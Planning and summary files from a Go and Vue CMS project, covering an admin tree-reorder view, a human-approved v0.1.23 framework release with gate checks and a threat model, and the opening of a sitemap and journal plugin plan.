ReorderView.vue (new route next to the controller form route): header copied from FormView (40px back button to the list keeping its query, h1 with the config title, save status with LoaderCircle and form.saving or reorder.saved for 2 s in a polite region, partition select labelled with the partition label that replaces ?partition and reloads); card with the nested ul (role list, aria-label reorder.tree, data-reorder-tree), rows with min-h-row, indent calc(16px + depth * 24px), data-reorder-node, drag handle (reorder.move), the nameFrom name or reorder.untitled, and move up, move down, outdent and indent buttons disabled when impossible. Pointer drag with before, after and inside zones (2px primary line or the dashed sel inside target), no drop into the node's own subtree. Keyboard on the handle: ArrowUp, ArrowDown, ArrowRight (nest under the previous sibling), ArrowLeft (out one level); focus stays on the moved handle and a separate polite region announces reorder.moved, reorder.nested or reorder.unnested. Saving: one POST with the whole scoped node set, debounced 400 ms after the last move, flushed when leaving; on failure revert to the last saved tree and show the reorder.failed danger toast; on 409 show reorder.stale and reload. States: five skeleton rows with aria-busy, the load-failure alert block, the empty block with reorder.empty and reorder.empty_hint, a 403 with the form.forbidden alert, one node with every move disabled.
Singleton (D-11): when SettingsIndexView opens a Controller link whose form schema is singleton, call GET …/singleton and open FormView in update mode for the returned id; FormView in singleton mode hides Delete, sends Cancel and Save and close back to the settings index (settings.back), and renders the schema's subtitle link when present.
Phrase keys reorder.*, messages.list.reorder (EN, PL). Smoke spec ReorderView.test.ts "ReorderView tracer: a keyboard move sends one debounced POST with the full node set". Rebuild and commit dist; check-admin-dist.</action>
<verify>
<automated>npm --prefix admin run typecheck &amp;&amp; npm --prefix admin test &amp;&amp; bash scripts/check-admin-dist.sh &amp;&amp; bash scripts/check-admin-openapi.sh --check &amp;&amp; go test -count=1 ./modules/phrasebook ./modules/boardwalk</automated>
<fails_when>Non-zero exit: typecheck fails; any admin vitest spec fails (including the existing ListView, FormView and router specs); dist or OpenAPI output is stale; a phrase key is missing in one locale.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "ReorderView" admin/src/app/router.ts` prints at least one line.
- `grep -n 'data-action="reorder"' admin/src/views/ListView.vue` prints one line.
- `grep -n "singleton" admin/src/views/FormView.vue admin/src/views/SettingsIndexView.vue` prints at least one line per file.
</acceptance_criteria>
<done>Editors reorder tree records by pointer or keyboard with saved feedback, and a singleton settings entry opens its one record directly.</done>
</task>
<task type="checkpoint:decision" gate="blocking-human">
<name>Task 5: Release gate: local checks green, tag chosen, one-way surfaces listed, a human approves the framework tag and the push</name>
<read_first>.planning/phases/17-blog-companions/17-01-SUMMARY.md, this plan's Task 1-4 SUMMARY notes (commits, Docker smoke tests NOT RUN), .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-03-SUMMARY.md (how the last release ran), .planning/notes/2026-10-07-embedded-admin-release-gate.md, 17-REVIEW.md and 17-SECURITY.md when present</read_first>
<action>Do everything automatable, print a release sheet, then stop.
Concurrency: in summercms.go `git status --porcelain -- modules admin docs scripts cmd go.mod go.sum` prints nothing, `git fetch origin --tags`, and `git log --oneline HEAD..origin/master` prints nothing; if origin has commits this checkout lacks, stop and report (never merge or rebase on your own).
Tag: propose the highest of `git tag -l 'v0.1.*' --sort=-v:refname` plus one (v0.1.23 if nobody tagged after v0.1.22) and confirm with `git ls-remote --tags origin` that it does not exist.
Run the gate (verify). Release sheet: the proposed tag; the one-way surfaces it publishes (pact HasMenuItemTypes, MenuItemType with its PatternFrom field, MenuItemReference, MenuItemResolve, ResolvedMenuItem, MenuItemAlternate, DependentOptionsProvider, DependentOptionSet, AdminSingleton, Option.Depth; signpost Activate, Registry, ReferenceOptions and config key menu_items.patterns; seaglass; cabana field types richeditor and repeater, the dependsOn key, config_reorder.yaml keys, toolbar button reorder; routes dependent-options, reorder GET and POST, singleton); commits to push; the Docker smoke tests recorded NOT RUN in plans 01 and 02; open high findings from 17-REVIEW.md or 17-SECURITY.md if they exist (an open high finding allows only docker-first or hold); that plans 03 and 04 (wave 2) build against this checkout through go.work and get their go.mod requires bumped to this tag in plan 05. Stop for the human.</action>
<decision>Push summercms master and the proposed annotated tag now?</decision>
<context>A pushed tag is read by plugin go.mod files and the Go module proxy and publishes the registry, sanitizer and cabana contracts above; it cannot be moved, only superseded. The unit-test plan (06) runs after this release, as in 16.2 and 16.3; its tests ship with the next tag.</context>
<options>
<option id="release-now">
<name>Release now with the proposed tag</name>
<pros>Plugins and hosts can require the framework features immediately; plan 05 is unblocked</pros>
<cons>Docker smoke tests recorded NOT RUN run later; a defect then needs the next tag</cons>
</option>
<option id="docker-first">
<name>Run the Docker-host smoke tests first, then release</name>
<pros>Every companions smoke test and the OpenAPI conformance suite run before the tag exists</pros>
<cons>Needs a Docker-enabled machine and delays the release</cons>
</option>
<option id="hold">
<name>Hold the release</name>
<pros>Nothing leaves this machine</pros>
<cons>Plan 05 cannot push plugins that require the new framework API</cons>
</option>
</options>
<resume-signal>Reply "release vX" (release-now), "docker passed, release vX" (docker-first, after the suites ran), or "hold".</resume-signal>
<verify>
<automated>go vet ./... &amp;&amp; go test -count=1 -short ./... &amp;&amp; go test -count=1 -run '^(TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestPhase10ConformanceInventory|TestTokenRouteGates)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 4 &amp;&amp; go test -count=1 -run '^(TestDocsTree|TestDelegateCommandsHelp)$' ./cmd/summer &amp;&amp; go run ./cmd/summer docs:build --check &amp;&amp; npm --prefix admin run typecheck &amp;&amp; npm --prefix admin test &amp;&amp; bash scripts/check-admin-dist.sh &amp;&amp; bash scripts/check-admin-openapi.sh --check &amp;&amp; echo release-gate-ok</automated>
<fails_when>Non-zero exit or "release-gate-ok" absent: vet fails, a Docker-free Go test fails, fewer than four cabana inventory passes, a docs check fails, an admin spec fails, or the dist or OpenAPI drift gate reports stale output.</fails_when>
</verify>
<acceptance_criteria>
- The gate printed release-gate-ok and summercms.go was clean and not behind origin.
- The SUMMARY records the release sheet and the human's reply verbatim.
</acceptance_criteria>
<done>A human chose release-now or docker-first with a named tag, or hold (the plan stops).</done>
</task>
<task type="auto">
<name>Task 6: Release: annotated summercms tag and master pushed</name>
<reversibility rating="one-way">A pushed annotated tag publishes pact.HasMenuItemTypes, the signpost registry and the cabana field and route contracts to the Go module proxy and to every plugin go.mod that requires it; it can only be superseded.</reversibility>
<precondition>Task 5 was answered "release vX" or "docker passed, release vX"; RELEASE_TAG is that tag in the session and `git ls-remote --tags origin "refs/tags/$RELEASE_TAG"` prints nothing.</precondition>
<files>none (git tag and push only)</files>
<read_first>this plan's Task 5 release sheet in the SUMMARY, .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-03-SUMMARY.md (Release table)</read_first>
<action>Re-run `git log --oneline HEAD..origin/master` (must print nothing), create the annotated tag on summercms.go master HEAD with message "$RELEASE_TAG: menu item type registry (signpost), seaglass sanitizer, cabana repeater, richeditor, dependent dropdown, tree reorder and singleton form", then push master and the tag. Record the tag object, the tagged commit and the pushed head in the SUMMARY. Do not bump any plugin or host here (plan 05 does).</action>
<verify>
<automated>test -n "$(git ls-remote --tags origin "refs/tags/$RELEASE_TAG")" &amp;&amp; test "$(git rev-parse master)" = "$(git rev-parse origin/master)" &amp;&amp; test "$(git cat-file -t "$RELEASE_TAG")" = tag &amp;&amp; echo release-ok</automated>
<fails_when>Non-zero exit or "release-ok" absent: the tag is not on origin, master is not pushed, or the tag is lightweight instead of annotated.</fails_when>
</verify>
<acceptance_criteria>
- `git ls-remote --tags origin` lists the release tag.
- The verify prints release-ok and the SUMMARY records RELEASE_TAG for plan 05.
</acceptance_criteria>
<done>The framework release carrying plans 01 and 02 is on origin.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| stored HTML → admin editor | imported or saved HTML rendered inside the admin |
| admin SPA → npm registry | new editor dependency |
| executor → git origin | the tag is read by other repositories |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-17-10 | Tampering (XSS in admin) | RichEditorField read-only view and editor | high | mitigate | the read-only view renders server-sanitized HTML only; the editor parses through the TipTap schema; link popover allowlist; the server gate (plan 01) is authoritative |
| T-17-11 | Tampering | link insertion | medium | mitigate | client allowlist http, https, mailto, tel and relative; StarterKit Link protocols restricted; server sanitizer re-checks |
| T-17-12 | Tampering (silent data rewrite) | untouched imported HTML | medium | mitigate | untouched rule: no emit until edit; byte-identical smoke spec; lossy note plus HTML view for out-of-schema markup |
| T-17-13 | Elevation of Privilege | ReorderView and singleton calls | low | mitigate | the server enforces permissions, scope and the stale set (plan 01); the SPA shows the 403 and 409 states and never retries a write silently |
| T-17-14 | Tampering / Repudiation | tag and push | high | mitigate | clean, not-behind tree and an absent tag checked at a blocking-human checkpoint; one-way surfaces listed; heads recorded; no pushed tag moved |
| T-17-SC | Tampering | npm installs (@tiptap/core, @tiptap/pm, @tiptap/starter-kit) | high | mitigate | blocking-human package legitimacy checkpoint (Task 1, never auto-approved) before install; exact pins; lockfile committed; no install scripts verified |
</threat_model>
<verification>
- Task 1: registry-ok and a human approval.
- Tasks 2-4: typecheck, named vitest specs, dist and OpenAPI drift checks, phrasebook key parity.
- Task 5: release-gate-ok and a human decision.
- Task 6: release-ok.
</verification>
<success_criteria>
- SC-1 (admin half): every plan 01 feature is usable in the admin SPA per the UI-SPEC.
- D-06: dist, types and phrase keys ship with the features; the framework is tagged after human approval.
</success_criteria>
<output>
Create `.planning/phases/17-blog-companions/17-02-SUMMARY.md` when done, with the commits, the package check reply, the release sheet, the human's reply, RELEASE_TAG and the pushed heads.
</output>

View File

@@ -0,0 +1,304 @@
---
phase: 17-blog-companions
plan: 02
subsystem: ui
tags: [vue, admin, tiptap, richeditor, repeater, dependent-dropdown, reorder, singleton, boardwalk, release]
requires:
- phase: 17-01
provides: cabana richeditor and repeater field types, dropdown dependsOn with the dependent-options route, config_reorder.yaml tree reorder routes, singleton controllers, regenerated OpenAPI and schema.d.ts
- phase: 16.2
provides: admin form framework (FormView, FormGrid, field registry, formState), meta.notices plumbing
provides:
- RichEditorField (TipTap 3.31.4, lazy editor chunk) with the untouched rule, link popover allowlist, lossy note and HTML view
- RepeaterField (nested schema rows, add, reorder, remove, row-path errors)
- DropdownField dependsOn states (loading, empty, stale-value clear) through the dependent-options route
- ReorderView tree page with keyboard moves and one debounced POST of the full node set, list toolbar Reorder button
- Singleton form mode in FormView and settings index entries
- Phrase keys (en, pl), rebuilt modules/boardwalk/dist, docs updates
- Framework release v0.1.23 (annotated tag on origin, master pushed)
affects: [17-03 journal types and sitemap, 17-04 menu and faq plugins, 17-05 site integration (bumps requires to v0.1.23), 17-06 unit tests]
actuals:
tokens: 35300
tasks: 6
commits: 9
plan_head_before: 2181c2b5f68c8cac56e6ea1eec79dee92a22e12d
plan_head_after: e2a95298106a084a06032b63222f5965ebd93247
tech-stack:
added: ["@tiptap/core 3.31.4", "@tiptap/pm 3.31.4", "@tiptap/starter-kit 3.31.4 (admin/, exact pins, lockfile committed)"]
patterns:
- "Untouched rule: a rich editor emits nothing until the user edits, so imported HTML is submitted byte-identical"
- "Read-only HTML display through a client allowlist (displayHtml); the server sanitizer stays authoritative"
- "Form-wide services passed by injection keys (FORM_FEEDBACK, FIELD_SCOPE, DEPENDENT_CACHE) with one polite live region per FormView"
- "Tree writes send the full node set once, debounced; 409/403 shown, never retried silently"
key-files:
created:
- admin/src/components/form/fields/RichEditorField.vue
- admin/src/components/form/richeditor/editor.ts
- admin/src/components/form/richeditor/LinkPopover.vue
- admin/src/components/form/richeditor/lossy.ts
- admin/src/components/form/richeditor/html.ts
- admin/src/components/form/fields/RepeaterField.vue
- admin/src/components/reorder/tree.ts
- admin/src/components/reorder/context.ts
- admin/src/components/reorder/ReorderBranch.vue
- admin/src/views/ReorderView.vue
- admin/tests/form/RichEditorField.test.ts
- admin/tests/form/RepeaterField.test.ts
- admin/tests/form/DependentDropdown.test.ts
- admin/tests/views/ReorderView.test.ts
- admin/tests/fixtures/companions.form-schema.json
modified:
- admin/package.json
- admin/package-lock.json
- admin/src/components/form/fields/DropdownField.vue
- admin/src/components/form/registry.ts
- admin/src/components/form/formState.ts
- admin/src/components/form/formContext.ts
- admin/src/components/form/FormGrid.vue
- admin/src/components/form/FormField.vue
- admin/src/components/form/FormErrorBanner.vue
- admin/src/components/form/PreviewField.vue
- admin/src/views/FormView.vue
- admin/src/views/ListView.vue
- admin/src/views/SettingsIndexView.vue
- admin/src/app/router.ts
- admin/src/api/types.ts
- admin/tests/fixtures/lang.json
- modules/phrasebook/backend/lang/en/lang.yaml
- modules/phrasebook/backend/lang/pl/lang.yaml
- modules/boardwalk/dist
- docs/backend/forms.md
- docs/backend/admin-controllers.md
- docs/backend/lists-and-filters.md
key-decisions:
- "Released the framework as v0.1.23 (human reply: release v0.1.23) after the Docker smoke suites passed at 01bcd3e"
- "Read-only richeditor display goes through a client allowlist (displayHtml) because stored values are not sanitized on read (T-17-10)"
- "Reka Collapsible replaced by a plain aria-expanded/aria-controls disclosure so a 422 can focus fields inside collapsed repeater rows"
- "RepeaterField registered statically in the field registry (it renders FormGrid recursively; the import cycle is safe and commented)"
patterns-established:
- "Untouched rule for HTML editors: no emit until edit"
- "Row-path errors (field.0.sub) resolved in FormErrorBanner, tab counts and focusError"
requirements-completed: [SC-1, D-06, D-07, D-08, D-09, D-10, D-11]
coverage:
- id: D1
description: "Richeditor field: untouched imported HTML is submitted byte-identical; editing emits editor HTML"
requirement: "D-07"
verification:
- kind: unit
ref: "admin/tests/form/RichEditorField.test.ts#RichEditorField tracer: untouched value is submitted byte-identical"
status: pass
- kind: unit
ref: "admin/tests/form/RichEditorField.test.ts#RichEditorField edit emits editor HTML"
status: pass
human_judgment: true
rationale: "Toolbar, link popover, lossy note and HTML view look and feel per UI-SPEC need a visual check in a browser"
- id: D2
description: "Repeater field: add, edit nested, reorder and remove rows change form state only"
requirement: "D-08"
verification:
- kind: unit
ref: "admin/tests/form/RepeaterField.test.ts#RepeaterField tracer: add, edit nested, reorder and remove change form state only"
status: pass
human_judgment: false
- id: D3
description: "Dependent dropdown loads options for the sibling value and clears a stale value"
requirement: "D-09"
verification:
- kind: unit
ref: "admin/tests/form/DependentDropdown.test.ts#DependentDropdown loads options for the sibling value and clears a stale value"
status: pass
human_judgment: false
- id: D4
description: "Tree reorder page: a keyboard move sends one debounced POST with the full node set; list toolbar Reorder button; singleton form mode"
requirement: "D-10"
verification:
- kind: unit
ref: "admin/tests/views/ReorderView.test.ts#ReorderView tracer: a keyboard move sends one debounced POST with the full node set"
status: pass
human_judgment: true
rationale: "Drag and keyboard reorder ergonomics and the singleton settings entry need a browser walk-through"
- id: D5
description: "Dist, types and phrase keys ship with the features; framework tagged v0.1.23 after human approval"
requirement: "D-06"
verification:
- kind: other
ref: "Task 5 gate: release-gate-ok (vet, short tests, cabana inventories, docs check, admin typecheck and tests, check-admin-dist.sh, check-admin-openapi.sh --check)"
status: pass
- kind: other
ref: "Task 6 verify: release-ok (tag on origin, master == origin/master, tag annotated)"
status: pass
human_judgment: false
duration: 50min
completed: 2026-10-12
status: complete
---
# Phase 17 Plan 02: Admin SPA companions and framework release Summary
**TipTap 3.31.4 richeditor with the untouched rule, repeater rows, dependent dropdown states, tree reorder page and singleton form in the admin SPA, shipped in the annotated framework tag v0.1.23**
## Performance
- **Duration:** about 50 min (with a human checkpoint wait)
- **Started:** 2026-10-12T13:45:12Z
- **Checkpoint (Task 5):** 2026-10-12T14:22:08Z
- **Completed:** 2026-10-12T14:35:20Z
- **Tasks:** 6 of 6
- **Files modified:** 44 (including modules/boardwalk/dist assets and planning docs)
## Accomplishments
- RichEditorField on TipTap (lazy `editor-*` chunk): untouched imported HTML is submitted byte-identical, link popover with an http/https/mailto/tel/relative allowlist, lossy-markup note and HTML view.
- RepeaterField rendering nested schema rows with add, reorder (buttons and keyboard), remove and row-path validation errors.
- DropdownField `dependsOn`: loads options from the dependent-options route for the sibling value, shows loading and empty states, clears a stale value.
- ReorderView: tree page with keyboard moves and one debounced POST carrying the full node set, 403 and 409 states shown without silent retries; a Reorder button in the list toolbar.
- Singleton form mode in FormView and its settings index entry.
- en and pl phrase keys, rebuilt `modules/boardwalk/dist`, docs updates in forms, admin-controllers and lists-and-filters.
- Framework release v0.1.23 on origin.
## Task Commits
1. **Task 1: Package legitimacy (TipTap 3.31.4)** - checkpoint, no commit. Human reply verbatim: "packages approved"
2. **Task 2: Richeditor tracer** - `cb2987c` (feat), `4a5e896` (build, dist)
3. **Task 3: Repeater and dependent dropdown** - `d3bf5d8` (feat), `204149c` (build, dist)
4. **Task 4: ReorderView, list button, singleton form** - `872fd65` (feat), `01bcd3e` (build, dist)
5. **Deferred items log** - `4ef5c05` (docs)
6. **Task 5: Release gate** - checkpoint:decision (blocking-human), no commit. Human reply verbatim: "release v0.1.23"
7. **Task 6: Release** - annotated tag `v0.1.23`, no commit
**Measured commit count:** `git rev-list --count 2181c2b..e2a9529` = 9. Seven are this plan's; `b519c9c` and `e2a9529` (`docs(phase-16.3): … security threat verification`) were committed by another session on master during the plan and are planning docs only.
## Release Sheet (Task 5)
| Item | Value |
|------|-------|
| Gate | release-gate-ok |
| Docker smoke suites | all re-run and passed at `01bcd3e` (plans 01 and 02 companions smoke tests, OpenAPI conformance) |
| 17-REVIEW.md / 17-SECURITY.md | absent, no open high findings |
| origin/master at checkpoint | `4a5e896` (pushed earlier by an outside push, not by the executor) |
| Proposed tag | v0.1.23 (highest existing v0.1.22, absent on origin) |
| One-way surfaces | pact HasMenuItemTypes, MenuItemType (PatternFrom), MenuItemReference, MenuItemResolve, ResolvedMenuItem, MenuItemAlternate, DependentOptionsProvider, DependentOptionSet, AdminSingleton, Option.Depth; signpost Activate, Registry, ReferenceOptions, config key menu_items.patterns; seaglass; cabana field types richeditor and repeater, the dependsOn key, config_reorder.yaml keys, toolbar button reorder; routes dependent-options, reorder GET and POST, singleton |
| Wave 2 note | plans 03 and 04 build against this checkout through go.work; plan 05 bumps their go.mod requires to this tag |
| Human reply | "release v0.1.23" (release-now) |
## Release (Task 6)
| Item | Value |
|------|-------|
| RELEASE_TAG | **v0.1.23** |
| Tag object | `ae75a925ee6a07ddfb7a1e89957052304d5fd1ac` (annotated) |
| Tagged commit | `e2a95298106a084a06032b63222f5965ebd93247` |
| Pushed master | `4a5e896..e2a9529` |
| origin/master after push | `e2a95298106a084a06032b63222f5965ebd93247` |
| Tag message | v0.1.23: menu item type registry (signpost), seaglass sanitizer, cabana repeater, richeditor, dependent dropdown, tree reorder and singleton form |
| Verify | release-ok |
Precondition re-checked before tagging: `git fetch origin --tags`, `git ls-remote --tags origin refs/tags/v0.1.23` empty, `git log HEAD..origin/master` empty, tracked tree clean apart from other sessions' `.planning/state.json` and `.msd/`. The commits between the Docker-tested `01bcd3e` and the tagged head (`4ef5c05`, `b519c9c`, `e2a9529`) touch only `.planning/` docs, so the tagged code is the tested code. The push of master also published the other session's two 16.3 docs commits. No plugin or host was bumped (plan 05 does that).
## Files Created/Modified
- `admin/src/components/form/fields/RichEditorField.vue` - richeditor field, untouched rule, read-only display
- `admin/src/components/form/richeditor/{editor.ts,LinkPopover.vue,lossy.ts,html.ts}` - TipTap setup, link allowlist, lossy detection, display allowlist
- `admin/src/components/form/fields/RepeaterField.vue` - repeater rows
- `admin/src/components/form/fields/DropdownField.vue` - dependsOn states
- `admin/src/components/form/{registry.ts,formState.ts,formContext.ts,FormGrid.vue,FormField.vue,FormErrorBanner.vue,PreviewField.vue}` - registration, row-path state and errors, injection keys
- `admin/src/views/ReorderView.vue`, `admin/src/components/reorder/{tree.ts,context.ts,ReorderBranch.vue}` - tree reorder page
- `admin/src/views/{FormView.vue,ListView.vue,SettingsIndexView.vue}`, `admin/src/app/router.ts`, `admin/src/api/types.ts` - singleton mode, Reorder button, routes, types
- `admin/tests/...` - four spec files and fixtures
- `modules/phrasebook/backend/lang/{en,pl}/lang.yaml` - phrase keys
- `modules/boardwalk/dist` - rebuilt admin
- `docs/backend/{forms,admin-controllers,lists-and-filters}.md` - field and controller docs
## Decisions Made
- v0.1.23 released on the human's "release v0.1.23" reply.
- Read-only richeditor HTML passes through a client allowlist because stored values are not sanitized on read.
- Plain disclosure instead of Reka Collapsible so error focus reaches collapsed rows.
## Deviations from Plan
### Auto-fixed Issues
**1. [Rule 2 - Missing Critical] Read-only richeditor client display allowlist (`displayHtml`)**
- **Found during:** Task 2
- **Issue:** Stored values are not sanitized on read, so rendering them raw in the read-only view would allow admin XSS (T-17-10).
- **Fix:** `richeditor/html.ts` filters display HTML through an allowlist before `v-html`.
- **Committed in:** `cb2987c`
**2. [Rule 2 - Missing Critical] FormField label id `${controlId}-label`**
- **Found during:** Task 2
- **Issue:** The editor and repeater need `aria-labelledby`; the label had no id.
- **Fix:** label id added in FormField.
- **Committed in:** `cb2987c`
**3. [Rule 2 - Missing Critical] PreviewField renders richeditor and repeater through read-only controls**
- **Found during:** Tasks 2-3
- **Issue:** Preview mode would have shown raw HTML or JSON.
- **Committed in:** `cb2987c`, `d3bf5d8`
**4. [Rule 1 - Bug] Toolbar labels use literal phrase keys**
- **Found during:** Task 2
- **Issue:** `TestPhase10SPAKeysResolve` only resolves literal phrase keys in the SPA source, so non-literal toolbar label keys would escape the parity check.
- **Fix:** literal `t('…')` keys per toolbar button.
- **Committed in:** `cb2987c`
**5. [Rule 3 - Blocking] Reka Collapsible replaced by a plain aria-expanded/aria-controls disclosure**
- **Found during:** Task 3
- **Issue:** A 422 could not focus a field inside a collapsed repeater row.
- **Committed in:** `d3bf5d8`
**6. [Rule 2 - Missing Critical] Row-path errors in FormErrorBanner, tab counts and focusError**
- **Found during:** Task 3
- **Issue:** Errors keyed `field.0.sub` were dropped from the banner and tab counts.
- **Committed in:** `d3bf5d8`
**7. [Rule 3 - Blocking] New formContext injection keys FORM_FEEDBACK, FIELD_SCOPE, DEPENDENT_CACHE; one polite live region in FormView**
- **Found during:** Task 3
- **Issue:** Nested rows and dependent dropdowns needed form-wide services without prop drilling.
- **Committed in:** `d3bf5d8`
**8. [Rule 3 - Blocking] Extra files outside `files_modified`**
- `richeditor/html.ts`, `components/reorder/{tree.ts,context.ts,ReorderBranch.vue}`, plus FormField, FormErrorBanner, PreviewField, formContext, tests/fixtures/typed.ts and docs/backend/{admin-controllers,lists-and-filters}.md.
- **Committed in:** `cb2987c`, `d3bf5d8`, `872fd65`
**9. [Rule 3 - Blocking] RepeaterField registered statically**
- **Issue:** RepeaterField renders FormGrid, which resolves fields through the registry, so it sits on an import cycle with the registry. It is registered statically (not through the relation manager's lazy map) because only the registry imports it, so the registry always evaluates first; the reasoning is commented in `RepeaterField.vue`.
- **Committed in:** `d3bf5d8`
---
**Total deviations:** 9 auto-fixed (5 missing critical, 1 bug, 3 blocking)
**Impact on plan:** Security and accessibility fixes required for correctness; no scope beyond the UI-SPEC.
## Issues Encountered
- A `git checkout --` without a pathspec ran during Task 3. It changed no files (verified with `git status`).
- origin/master was at `4a5e896` at the checkpoint, pushed by an outside push, not by the executor.
- Pushing master in Task 6 also published another session's two 16.3 planning-doc commits (`b519c9c`, `e2a9529`), which sat on master above this plan's commits.
- Out-of-scope findings logged in `deferred-items.md` (`4ef5c05`): singleton subtitle link key, per-controller reorder label, OpenAPI query and nullability gaps, npm audit advisories in existing dev dependencies, main bundle size above Vite's 500 kB warning.
## User Setup Required
None.
## Next Phase Readiness
- Plans 03 and 04 can build against this checkout; plan 05 bumps plugin and host requires to **v0.1.23**.
- Plan 06 (unit tests) runs after this release; its tests ship with the next tag.
---
*Phase: 17-blog-companions*
*Completed: 2026-10-12*
## Self-Check: PASSED
Created files present (RichEditorField.vue, RepeaterField.vue, ReorderView.vue, richeditor/html.ts, reorder/tree.ts, the four spec files); commits cb2987c, 4a5e896, d3bf5d8, 204149c, 872fd65, 01bcd3e, 4ef5c05 found; tag v0.1.23 on origin (annotated, ae75a92 -> e2a9529).

View File

@@ -0,0 +1,343 @@
---
phase: 17-blog-companions
plan: 03
type: execute
wave: 2
depends_on: ["17-01"]
coupling_justified: ["17-02: 17-02 edits only admin/, modules/boardwalk/dist and modules/phrasebook lang in summercms.go; this plan reads summercms.go through go.work and never edits it, so the order between the two is irrelevant", "17-04: disjoint repositories (sm-journal-plugin and sm-sitemap-plugin here, sm-menu-plugin and sm-faq-plugin there); both only read summercms.go"]
files_modified:
- ../sm-journal-plugin/menu_item_types.go
- ../sm-journal-plugin/classes/menu_item_types.go
- ../sm-journal-plugin/menu_item_types_smoke_test.go
- ../sm-journal-plugin/lang/en/lang.yaml
- ../sm-journal-plugin/lang/pl/lang.yaml
- ../sm-journal-plugin/README.md
- ../sm-sitemap-plugin/.gitignore
- ../sm-sitemap-plugin/go.mod
- ../sm-sitemap-plugin/go.sum
- ../sm-sitemap-plugin/go.work
- ../sm-sitemap-plugin/README.md
- ../sm-sitemap-plugin/plugin.go
- ../sm-sitemap-plugin/routes.go
- ../sm-sitemap-plugin/admin.go
- ../sm-sitemap-plugin/admin_permissions.go
- ../sm-sitemap-plugin/assets/sitemap.xsl
- ../sm-sitemap-plugin/config/config.yaml
- ../sm-sitemap-plugin/lang/en/lang.yaml
- ../sm-sitemap-plugin/lang/pl/lang.yaml
- ../sm-sitemap-plugin/models/registry.go
- ../sm-sitemap-plugin/models/definition.go
- ../sm-sitemap-plugin/models/definition_item.go
- ../sm-sitemap-plugin/models/settings.go
- ../sm-sitemap-plugin/models/definition/fields.yaml
- ../sm-sitemap-plugin/models/settings/fields.yaml
- ../sm-sitemap-plugin/controllers/admin_registry.go
- ../sm-sitemap-plugin/controllers/definitions.go
- ../sm-sitemap-plugin/controllers/definitions/config_form.yaml
- ../sm-sitemap-plugin/classes/generator.go
- ../sm-sitemap-plugin/classes/serialize.go
- ../sm-sitemap-plugin/classes/urlto.go
- ../sm-sitemap-plugin/classes/tiers.go
- ../sm-sitemap-plugin/classes/manifest.go
- ../sm-sitemap-plugin/classes/rewrite.go
- ../sm-sitemap-plugin/classes/events.go
- ../sm-sitemap-plugin/classes/golden_test.go
- ../sm-sitemap-plugin/classes/testdata/tracer.json
- ../sm-sitemap-plugin/classes/testdata/tracer.golden
- ../sm-sitemap-plugin/classes/testdata/urlto.json
- ../sm-sitemap-plugin/classes/testdata/urlto.golden
- ../sm-sitemap-plugin/classes/testdata/full.json
- ../sm-sitemap-plugin/classes/testdata/full.golden
- ../sm-sitemap-plugin/tests/php/gen-goldens.php
- ../sm-sitemap-plugin/console/helpers.go
- ../sm-sitemap-plugin/console/import.go
- ../sm-sitemap-plugin/console/import_winter.go
- ../sm-sitemap-plugin/scripts/winter-export-definitions.sql
- ../sm-sitemap-plugin/scripts/winter-export-settings.sql
- ../sm-sitemap-plugin/updates/registry.go
- ../sm-sitemap-plugin/updates/202610110001_create_golem15_sitemap_definitions.go
- ../sm-sitemap-plugin/updates/202610110002_create_golem15_sitemap_settings.go
- ../sm-sitemap-plugin/testmain_test.go
- ../sm-sitemap-plugin/sitemap_smoke_test.go
autonomous: true
requirements: [SC-1, SC-2, SC-3, D-01, D-02, D-03, D-04, D-10, D-11, D-12, D-13, D-14]
estimate:
tokens: 220000
raw_tokens: 220000
tasks: 4
confidence: low
must_haves:
truths:
- "D-04: sm-journal-plugin implements pact.HasMenuItemTypes with exactly the five PHP keys journal-category, all-journal-categories, journal-post, all-journal-posts and category-journal-posts (labels golem15.journal::lang.menuitem.* in en and pl with the UI-SPEC copy); the change is additive: no existing Journal route, payload, table, migration ID, config key or field definition changes."
- "D-10 resolved deviation: Journal's category content field stays type blogeditor (Phase 16.2); this plan does not switch it to richeditor."
- "D-02 (every type has a valid DefaultPattern; list children follow their record type's host pattern): journal-post /blog/:slug and journal-category /blog/category/:slug; the list types declare the DefaultPattern of the type they list plus pact.MenuItemType.PatternFrom naming it: all-journal-categories /blog/category/:slug with PatternFrom journal-category, all-journal-posts and category-journal-posts /blog/:slug with PatternFrom journal-post; every list type builds its children from MenuItemResolve.Pattern, which signpost layers as item override, host override of the list key, host override of the PatternFrom record key, DefaultPattern; so with a host config that overrides only journal-category to /:slug the all-journal-categories children resolve to /<slug>, and an item urlPattern on a list item (PHP buildAlternateLinks with item->urlPattern) still reaches its children."
- "D-02 and D-03 (Journal semantics from the frozen PHP tree): the PHP placeholders (:slug, :id; posts also :category, :year, :month, :day, the date ones only for a published post with published_at); Resolve fills the layered pattern by ordered literal replacement like PHP buildUrlFromPattern; alternates are one entry per enabled translate locale in sort_order (edge probe, ordering: ties by id), the unprefixed locale (MenuItemResolve.UnprefixedLocale, else the default locale) without a prefix and the others with /code, slugs translated per locale; with no enabled locales the only alternate is x-default; journal-category with nesting returns the subtree with default URLs only; all-journal-categories orders by name, all-journal-posts and category-journal-posts list published posts ordered by title (category-journal-posts includes descendant categories), journal-post applies no published filter."
- "SC-3 and D-14: GET /sitemap.xml serves the single definition (theme = the fixed key default, D-11) in the PHP libxml format: XML declaration and stylesheet PI each followed by a newline, everything else on one line ending with the closing urlset tag and a newline, lastmod as 2006-01-02T15:04:05+00:00 in UTC and omitted when there is neither an mtime nor a manifest date, xhtml:link alternates self-closing and emitted only when there are more than one, Content-Type application/xml; the bytes equal the goldens generated from the local PHP with the vendored Winter router."
- "SC-3 edge (encoding): text nodes escape ampersand, less-than, greater-than and carriage return; attributes also escape double quote, tab and newline; single quotes and UTF-8 stay literal; Url::to is ported (root plus trimmed path, a bare root keeps its slash, a trailing slash is dropped, every path segment re-encoded like PHP rawurlencode of rawurldecode, valid absolute, mailto, tel and fragment URLs kept) and pinned by the urlto golden table."
